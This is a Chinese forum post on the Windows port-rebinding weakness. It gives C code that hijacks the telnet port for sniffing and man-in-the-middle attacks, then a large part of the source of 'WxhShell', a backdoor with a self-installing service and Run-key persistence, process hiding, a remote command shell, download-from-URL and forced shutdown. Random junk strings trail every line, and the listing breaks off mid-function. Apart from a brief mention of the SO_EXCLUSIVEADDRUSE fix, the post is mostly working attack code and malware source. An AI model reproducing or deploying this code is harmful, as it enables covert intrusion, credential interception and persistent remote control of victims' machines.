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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c'rd$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lzz) n%y5  
Yrsp%<qj  
  saddr.sin_family = AF_INET;  #>bT<  
QkE,T0,/?h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :'Xr/| s  
+V1}@6k :  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 045\i[l=  
Rf:<-C0T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0[9I0YBJ  
5[<F_"x  
  这意味着什么?意味着可以进行如下的攻击: |*E"G5WZM  
u<kD}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Mciq-c)  
6l[G1KkV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  0Ve%.k  
XNlhu^jh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^W}MM8 '  
xD0NZ~w%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u}m.}Mws  
!;+U_j'Pg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 piuKV U  
zp#:EZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5%& ]  
r w\D>} \  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yZ~b+=UM  
gD1+]am  
  #include `oVB!eapl  
  #include #s{aulx  
  #include RJ*F>2  
  #include    Of#K:`1@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6qDfcs  
  int main() _k|g@"  
  { )7w@E$l"  
  WORD wVersionRequested; bKByU{t  
  DWORD ret; >[8#hSk  
  WSADATA wsaData; %wtXo BJ  
  BOOL val; !%wdn33"  
  SOCKADDR_IN saddr; FW5}oD( H  
  SOCKADDR_IN scaddr; {NV:|M!  
  int err; /sV?JV[t  
  SOCKET s; &M= 3{[  
  SOCKET sc; ,02w@we5  
  int caddsize; cyHU\!Z*Zq  
  HANDLE mt; %Gu][_.L  
  DWORD tid;   jiq2x\\!  
  wVersionRequested = MAKEWORD( 2, 2 ); C/y(E |zC$  
  err = WSAStartup( wVersionRequested, &wsaData ); (FG^UA#'  
  if ( err != 0 ) { ,m3":{G:t.  
  printf("error!WSAStartup failed!\n"); 7O9n!aJ  
  return -1; "4RQ`.S R  
  } H@4/#V|Uy  
  saddr.sin_family = AF_INET; 2md.S$V$,  
   iU XM( ]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]\`w1'*  
?lyltAxs'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Pr2;Kp  
  saddr.sin_port = htons(23); EZ `}*Yrd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /L$NE$D} "  
  { !")WZq^`  
  printf("error!socket failed!\n"); Wxc^_iqA1  
  return -1; ]xYayN!n  
  } 3AvcJ1  
  val = TRUE; %:%MUdl6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 POY=zUQ'/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,$ mLL  
  { );!dg\U  
  printf("error!setsockopt failed!\n"); ;&q]X]bJ  
  return -1; 0NrTJ R`  
  } )lOji7&e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jQkUNPHu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UC(9Dz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x.o3iN[=  
g&XhQ.aa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) egbb1+tY  
  { {RH*8?7  
  ret=GetLastError(); [m %W:Ez  
  printf("error!bind failed!\n"); u,\xok"  
  return -1; E::<; 9  
  } %~G0[fG  
  listen(s,2); 7fUi?41XA  
  while(1) l=,.iv=W  
  { bYK]G+Ww  
  caddsize = sizeof(scaddr); -h=c=P  
  //接受连接请求 ThbP;CzI#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rrYp'L  
  if(sc!=INVALID_SOCKET) F-$Kv-f  
  { A=W5W5l(>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x)d2G 6x  
  if(mt==NULL) coSTZ&0  
  { Y5Ft96o))x  
  printf("Thread Creat Failed!\n"); aK!xRnY  
  break; sBbL~ce50?  
  } 0:s8o@}  
  } cK/PQsMP  
  CloseHandle(mt); EmF]W+!z%  
  } +A&EKk%$ |  
  closesocket(s); L,GShl0S  
  WSACleanup(); O3!Ouh&  
  return 0; X E!2Q7Q9  
  }   .HQVj'g  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2n _T2{  
  { OCvml 2 vP  
  SOCKET ss = (SOCKET)lpParam; S[ws0Y60  
  SOCKET sc; ^Kb9@lz/  
  unsigned char buf[4096]; 5f/@: ~  
  SOCKADDR_IN saddr; S$Qr@5  
  long num; 6vMDm0sv  
  DWORD val; {_": / A  
  DWORD ret; |+>%o.M&i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UUZ6N ZQI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0c%@e2(N  
  saddr.sin_family = AF_INET; *;>V2!N=U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u XaL  
  saddr.sin_port = htons(23); (N&k}CO]W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XCKY xv&  
  { *Pa2bY3:  
  printf("error!socket failed!\n"); H9.oVF^~  
  return -1; f_^ix  
  } 2O}s*C$Xav  
  val = 100; ,?P8m"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v=dKcruR:  
  { WHZe)|n  
  ret = GetLastError(); !&1}w86  
  return -1; ~)WfJ  
  } f hVbJU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g}\U, (  
  { olUqBQ&ol  
  ret = GetLastError(); Ak<IHp^Q  
  return -1;  |JirBz  
  } ~{52JeUcP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $8<j5%/ $M  
  { i{%z  
  printf("error!socket connect failed!\n"); f\U?:8 3  
  closesocket(sc); gOBj0P8s|}  
  closesocket(ss); X}n&`y{/  
  return -1; yVu^ >  
  } +?4*,8Tmmz  
  while(1) F^/~@^{P  
  { H]T2$'U6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <lg"M;&Ht  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eG[umv.9b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 < -@,  
  num = recv(ss,buf,4096,0); -eSPoZ  
  if(num>0) 1FXzAc(c!  
  send(sc,buf,num,0); 5~<a>>  
  else if(num==0) 1@1+4P0NF[  
  break; P?W T)C2)u  
  num = recv(sc,buf,4096,0); @w.b |  
  if(num>0) ;%b <uV  
  send(ss,buf,num,0); Vsm%h^]d  
  else if(num==0) N9>'/jgZX  
  break; : . FfE  
  } &VZmP5Gv  
  closesocket(ss); )Rm 'YmO  
  closesocket(sc); #%} u8\q  
  return 0 ; qxg7cj2  
  } goBKr: &]w  
%~8](]p  
vV&AG1_Mv  
========================================================== R~x;X3  
+r#=n7 t  
下边附上一个代码,,WXhSHELL ECE{xoc  
RT_Pd\(qD  
========================================================== CHdet(_=v  
|GVGny<  
#include "stdafx.h" JQ{zWJlt  
^8f|clw"  
#include <stdio.h> `Q(]AG I2  
#include <string.h> R; Gl{  
#include <windows.h> .T62aJ   
#include <winsock2.h> dg'CHxU  
#include <winsvc.h> dWq/)%@t  
#include <urlmon.h> R>YMGUH~w  
%RT6~0z  
#pragma comment (lib, "Ws2_32.lib") Y/eN)  
#pragma comment (lib, "urlmon.lib") {TxVRpiP{Z  
>w]k3MC  
#define MAX_USER   100 // 最大客户端连接数 R1b )  
#define BUF_SOCK   200 // sock buffer ,$zSJzS  
#define KEY_BUFF   255 // 输入 buffer T$N08aju#  
i1_>>49*  
#define REBOOT     0   // 重启 uYFcq  
#define SHUTDOWN   1   // 关机 1l`s1C  
~XT a=  
#define DEF_PORT   5000 // 监听端口 }T1Xds8w)t  
[&O:qaD^  
#define REG_LEN     16   // 注册表键长度 l_q>(FoqA  
#define SVC_LEN     80   // NT服务名长度 (k)gZD9~{?  
Zy+QA>d|  
// 从dll定义API lWyP[>*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )zc8bS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ph&H*Mc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Rp%\`'+Xz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *O}'2Ht6\  
*a0I  Z  
// wxhshell配置信息 z1@sEfk>  
struct WSCFG { @2Y]p.$q  
  int ws_port;         // 监听端口 VOF:+o@.  
  char ws_passstr[REG_LEN]; // 口令 Gp3t?7S{T  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sy0s `\[  
  char ws_regname[REG_LEN]; // 注册表键名 Kg0\Pvg8?T  
  char ws_svcname[REG_LEN]; // 服务名 ZD] '$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *,XJN_DKj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OD@A+"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F]&J%i F[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qD>Y}Z !  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -mYI[AG)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]H9HO2wGQ  
yI)fu^  
}; JA(q>>4  
 E_I6  
// default Wxhshell configuration +7vh__  
struct WSCFG wscfg={DEF_PORT, G C#95  
    "xuhuanlingzhe", $Qc%9p @i  
    1, hB<z]sl  
    "Wxhshell", 89e.\EH  
    "Wxhshell", bDh(;%=  
            "WxhShell Service", 9NoPrR=x1  
    "Wrsky Windows CmdShell Service", 1bAp{u&  
    "Please Input Your Password: ", ,`2xfVa-  
  1, c94PWPU  
  "http://www.wrsky.com/wxhshell.exe", UY& W]  
  "Wxhshell.exe" $gtT5{"PN(  
    }; T-cVM>u\D  
WaK{/6?T,  
// 消息定义模块 `2U/O .rV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )Zr0_b"V:e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `2~Ea_Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6h*bcb#C  
char *msg_ws_ext="\n\rExit."; ',ybHW%D%i  
char *msg_ws_end="\n\rQuit."; Oua/NF)  
char *msg_ws_boot="\n\rReboot..."; :[?o7%"  
char *msg_ws_poff="\n\rShutdown..."; C xN@g'  
char *msg_ws_down="\n\rSave to "; (c7{dYV  
F(n))`(  
char *msg_ws_err="\n\rErr!"; aRKG)0=  
char *msg_ws_ok="\n\rOK!"; uUB%I 8  
!7kOw65+0  
char ExeFile[MAX_PATH]; )8>f  
int nUser = 0; o) ?1`7^BA  
HANDLE handles[MAX_USER]; H;te)km}  
int OsIsNt; ?S7:KnU>K  
_NN{Wk/3w  
SERVICE_STATUS       serviceStatus; Re ur#K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HpC4$JMm  
qUg4-Z4  
// 函数声明 4f~ZY]|nM  
int Install(void); At|tk  
int Uninstall(void); Mo=-P2)>lt  
int DownloadFile(char *sURL, SOCKET wsh); 74OM tLL$  
int Boot(int flag); PiQs><FK8  
void HideProc(void); ';V+~pi  
int GetOsVer(void); P &._ -[  
int Wxhshell(SOCKET wsl); fJV VW  
void TalkWithClient(void *cs); nxRrmR}F  
int CmdShell(SOCKET sock); :!\./z8v  
int StartFromService(void); ) O^08]Y g  
int StartWxhshell(LPSTR lpCmdLine); e28#Yh@U  
}7v2GfEkM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '2#fkH[.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AVZ@?aJgF  
%QbrVl+  
// 数据结构和表定义 03;(v%  
SERVICE_TABLE_ENTRY DispatchTable[] = bV,R*C  
{ l<6/ADuS  
{wscfg.ws_svcname, NTServiceMain}, )Ggx  
{NULL, NULL} Cu7iHhY5  
}; =@MKU  
sl 5wX  
// 自我安装 :gt wvM7/B  
int Install(void) 5+Ut]AL5  
{ S22; g  
  char svExeFile[MAX_PATH]; jT0fF  
  HKEY key; ZQ/5]]}3y  
  strcpy(svExeFile,ExeFile); ']D( ({%g  
(*]Y<ve  
// 如果是win9x系统,修改注册表设为自启动 ;0E 4S  
if(!OsIsNt) { K-5)Y+| >  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5. i;IOx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y8(yOVy9  
  RegCloseKey(key); @gz?T;EC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v~3q4P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "k/@tX1:R  
  RegCloseKey(key); V ZGhF!To  
  return 0; g!uhy}  
    } 'l;|t"R12  
  } \ZH=$c*W  
} Mt`.|N;y!  
else { {HeMdGn9  
qE[}Cf]X  
// 如果是NT以上系统,安装为系统服务 E*vi@aI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G y2XjO8b  
if (schSCManager!=0) 5KzU&!Zh9  
{ S;~_9i]upe  
  SC_HANDLE schService = CreateService COafVlJ,l  
  ( *XuzTGa"  
  schSCManager, B7;MY6h#  
  wscfg.ws_svcname, ,*30Q  
  wscfg.ws_svcdisp,  "(xu  
  SERVICE_ALL_ACCESS, c 9@*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *h1@eJHMz  
  SERVICE_AUTO_START, gqG"t@Y+  
  SERVICE_ERROR_NORMAL, rxA<\h,A  
  svExeFile, QHK$  
  NULL, .755-S  
  NULL, y-YYDEl  
  NULL, hS  Sq=(S  
  NULL, jBM>Pe^`3  
  NULL 5VfP@{  
  ); ?zEgN!\R)  
  if (schService!=0) 'J}lnt[V  
  { G>j/d7  
  CloseServiceHandle(schService); x UYSD  
  CloseServiceHandle(schSCManager); & CgLF]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4(NI-|q0  
  strcat(svExeFile,wscfg.ws_svcname); !jm a --  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9Bn dbS i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +x`tvo  
  RegCloseKey(key); 2mRso.Ah  
  return 0; | zf||ju  
    } Ua4} dW[w  
  } U1Oq"Ij~  
  CloseServiceHandle(schSCManager); ()iJvf>@  
} Q]\x O/  
} KvgZx(.  
<]<50  
return 1; >z2 {D7  
} xg8<b  
UCQL~  
// 自我卸载 NJ~'`{3v  
int Uninstall(void) $8s&=OW  
{ +CACs7tV  
  HKEY key; <rkF2-K,  
Y\rKw!u_!  
if(!OsIsNt) { 8w\&QX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  :sf;Fq  
  RegDeleteValue(key,wscfg.ws_regname); ."2V:;;  
  RegCloseKey(key); `f (!i mN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 87-oR}/r  
  RegDeleteValue(key,wscfg.ws_regname); 90q*V%cS  
  RegCloseKey(key); !U91  
  return 0; yO !*pC  
  } x@/ !H<y  
} N7NK1<vw2  
} vt1!|2{ h  
else { cD 1p5U  
;gF"o5/Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zpY8w#b  
if (schSCManager!=0) I?1^\s#L  
{ y==x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6K,AQ.=V2  
  if (schService!=0) D=3NI  
  { 8.vD]hO  
  if(DeleteService(schService)!=0) { 3o1j l2n  
  CloseServiceHandle(schService); dfNNCPu]+  
  CloseServiceHandle(schSCManager); #e=[W))  
  return 0; +UB. M  
  } M;V2O;  
  CloseServiceHandle(schService); gG#M-2P  
  } ^mH^cP?/  
  CloseServiceHandle(schSCManager); Baq&>]  
} VlK WWQj  
} wE'~Qj  
rK"x92P0  
return 1; i`X/d=  
} H=*;3gM,'  
huO_ARwK'  
// 从指定url下载文件 +"Ka #Z  
int DownloadFile(char *sURL, SOCKET wsh) 0PZpE "$X  
{ JVN0];IL}  
  HRESULT hr; Qax=_[r  
char seps[]= "/"; Z[ys>\_To  
char *token; }LOAT$]XI  
char *file; M4`qi3I  
char myURL[MAX_PATH]; j2V^1  
char myFILE[MAX_PATH]; x2 l~aw#?  
p?ICZg:  
strcpy(myURL,sURL); '};pu;GA7  
  token=strtok(myURL,seps); Py K)ks!6  
  while(token!=NULL) yj-BLR5  
  { L)kwMk  
    file=token; L~>pSP^a  
  token=strtok(NULL,seps); H}`}qu #~V  
  } "OkJPu2!W  
NU O9,  
GetCurrentDirectory(MAX_PATH,myFILE); Z!DGCw  
strcat(myFILE, "\\"); "luMz;B  
strcat(myFILE, file); kyMWO*>|  
  send(wsh,myFILE,strlen(myFILE),0); .O@T#0&=_  
send(wsh,"...",3,0); 5*C#~gd& F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4~4D1  
  if(hr==S_OK) ve<D[jQsk  
return 0; " 5,'K~hz  
else )k$ +T%  
return 1; 4"7/+6Z  
N 8 n`f  
} DJR_"8  
yJNQO'wcv  
// 系统电源模块 22$M6Qof]n  
int Boot(int flag) 4J{6Wt";  
{ d#NG]V/   
  HANDLE hToken; 5Sl vCL  
  TOKEN_PRIVILEGES tkp; &#_c,c;  
k^K>*mcJ  
  if(OsIsNt) { ;LD!eWSK,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qq+$ea?>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bq@_/*'*Y  
    tkp.PrivilegeCount = 1; JS$ojL^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~Z-o2+xA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 05hjC  
if(flag==REBOOT) { wwUa+6?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m) QV2n  
  return 0; fRh}n ^X  
} mBN+c9n/  
else { "Rc Ny~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l$/.B=]  
  return 0; , Ox$W  
} "lLwgh;  
  } 4 '"C8vw.  
  else { Ui|z#{8&  
if(flag==REBOOT) { %>Q[j`9y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Nk2n&(~$  
  return 0; s_o{w"3X  
} 4]G J+a  
else { P_}wjz}9ZX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [eLMb)n  
  return 0; TAB'oLNp  
} fQQj2> 3w  
} 4g+Dp&U  
N1iP!m9Q  
return 1; Y#[xX2z9  
} Zz/ z7~{  
{:] u 6l  
// win9x进程隐藏模块 {'cm;V+  
void HideProc(void) q\Q'9Rl0(  
{ %\^VxM  
+N}yqgE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |W*#N8I P  
  if ( hKernel != NULL ) 7?ICXhu9  
  { d0V*[{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >npTUOGL=n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `l2h65\  
    FreeLibrary(hKernel); zb3,2D+P  
  } = IJ}b=:  
uN&UYJ' B  
return; [nA1WFfM  
} i0n u5kD+d  
x7GYWK 9  
// 获取操作系统版本 @d|3c7` A  
int GetOsVer(void) TXT!Ae  
{ A01PEVd@A  
  OSVERSIONINFO winfo; #f@}$@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `{%ImXQF  
  GetVersionEx(&winfo); i&KBMx   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4s9q Q8?  
  return 1; $MqEM~^=  
  else [}I|tb>Pg  
  return 0; -e O>d}  
} mWF\h>]|.  
1}R\L"  
// 客户端句柄模块 {ub'   
int Wxhshell(SOCKET wsl) ivg W[]  
{ 3"Zc|Ck <?  
  SOCKET wsh; -H F1c  
  struct sockaddr_in client; G/ H>M%M  
  DWORD myID; 40aD\S>  
r:M0# 2   
  while(nUser<MAX_USER) r{{5@  
{ Z.`0  
  int nSize=sizeof(client); D+u\ORj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wbB\~*Z)  
  if(wsh==INVALID_SOCKET) return 1; 5 qMP u|A  
YJ+l \Wb}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XVF!l>nE  
if(handles[nUser]==0) FqZD'Uu7  
  closesocket(wsh); XMzQ8|]  
else ymn@1BA8J  
  nUser++; `#:(F z  
  } 558!?kx$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j$<g8Bg=o  
.l,]yWwfK  
  return 0; cqaq~  
} xt6%[)  
h1y3gl[;TD  
// 关闭 socket tkmzOc H  
void CloseIt(SOCKET wsh) <kJ`qbOU  
{ vuZ'Wo:S{  
closesocket(wsh); w4FYd  
nUser--; &;R BG$t  
ExitThread(0); %jJIR88  
} qT01@Bku  
OKAmw >{  
// 客户端请求句柄 A@;{ #.O  
void TalkWithClient(void *cs) e0]#vqdO  
{ Tkn8W j  
\TLfLqA  
  SOCKET wsh=(SOCKET)cs; {L \TO,  
  char pwd[SVC_LEN]; h7 mk<  
  char cmd[KEY_BUFF]; RRro.r,  
char chr[1]; cG(%P$  
int i,j; ] K+8f-  
i6S["\h>  
  while (nUser < MAX_USER) { |WNI[49  
GPx+]Jw8\  
if(wscfg.ws_passstr) { |[p]]) o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1ed^{Wa4$9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G *<g%"  
  //ZeroMemory(pwd,KEY_BUFF); \mZB*k)+  
      i=0; w4R~0jXy  
  while(i<SVC_LEN) { L8oqlq( 9  
'3~m},0  
  // 设置超时 '@zMZc!  
  fd_set FdRead; F0"("4h:  
  struct timeval TimeOut; rHqP[[4B'  
  FD_ZERO(&FdRead); c[;A$P= 8.  
  FD_SET(wsh,&FdRead); +HjSU2  
  TimeOut.tv_sec=8; =BbXSwv'(  
  TimeOut.tv_usec=0; PP/#Z~.M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #Zi6N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "Z~@"JLb%  
i>C%[dk9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZXf& pqmG  
  pwd=chr[0]; NBAOVYK  
  if(chr[0]==0xd || chr[0]==0xa) { />uE)R$  
  pwd=0; 06`caG|]-M  
  break; y-S23B(  
  } gQ|?~hYYv  
  i++; H_ NoW  
    } 3JD"* <zs  
AG#Mj(az!  
  // 如果是非法用户,关闭 socket sxdDI?W4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |QQ(1#d  
} `uqe[u;`6  
mnw(x#%P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9j}Q~v\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E_P,>f  
R*lq.7   
while(1) { nITkgN:s  
DcC|oU[  
  ZeroMemory(cmd,KEY_BUFF); +i}uRO  
2Ky|+s[`[  
      // 自动支持客户端 telnet标准   bIzBY+P  
  j=0; WpMm%G~'4t  
  while(j<KEY_BUFF) { p _2Yc]8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %`s1 Ocvp  
  cmd[j]=chr[0]; @PK 1  
  if(chr[0]==0xa || chr[0]==0xd) { P%d3fFzK  
  cmd[j]=0; 8|u8J0^  
  break; 0d89>UB-8q  
  } Ci[Ja#p7$h  
  j++; Gs4t6+Al  
    } qWXw*d1]  
bn=7$Ax  
  // 下载文件 f1B t6|W%  
  if(strstr(cmd,"http://")) { ty@D3l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kLXa1^Lq  
  if(DownloadFile(cmd,wsh)) 31F^38  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DZ:$p.  
  else @HY P_hR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q AsTiT6r  
  } j*~z.Q|  
  else { +xU=7chA  
<d[GGkY]=  
    switch(cmd[0]) { YWDd[\4  
  s -F3(mc(  
  // 帮助 ']H*f2y  
  case '?': { 6kONuG7Yv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UI wTf2B  
    break; 51;Bc[)%  
  } R0nUS<b0  
  // 安装 VK|$SY(  
  case 'i': { Ng*O/g`%L  
    if(Install()) m$g{&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Re1}aLd  
    else )X6I #q8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y#nyH0U  
    break; D/z*F8'c  
    } oP:OurX8V  
  // 卸载 o KY0e&5  
  case 'r': { 3)l<'~"z<  
    if(Uninstall()) 1V]j8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {!pYQ|#  
    else ei[,ug'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OjK+`D_C  
    break; k vt^s0T8Q  
    } uzT>|uu$  
  // 显示 wxhshell 所在路径 C-(O*hK  
  case 'p': { $ \ I|6[P  
    char svExeFile[MAX_PATH]; G%%5lw!y'  
    strcpy(svExeFile,"\n\r"); Enhrkk  
      strcat(svExeFile,ExeFile); V)mi1H|m  
        send(wsh,svExeFile,strlen(svExeFile),0); FCChB7c`  
    break; y*lAmO  
    } WwLV^m]  
  // 重启 `yM9XjEl>  
  case 'b': { (>-(~7PR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n%{oFTLCo  
    if(Boot(REBOOT)) gv,%5r0YOw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?'OL2 ~  
    else { _9z+xl  
    closesocket(wsh); *C(q{|f  
    ExitThread(0); @Z@S;RWSU  
    } "':SWKuMx  
    break; ~0L:c&V  
    } 9YwS"~Q =w  
  // 关机 Hnbd<?y   
  case 'd': { DjiWg(X  
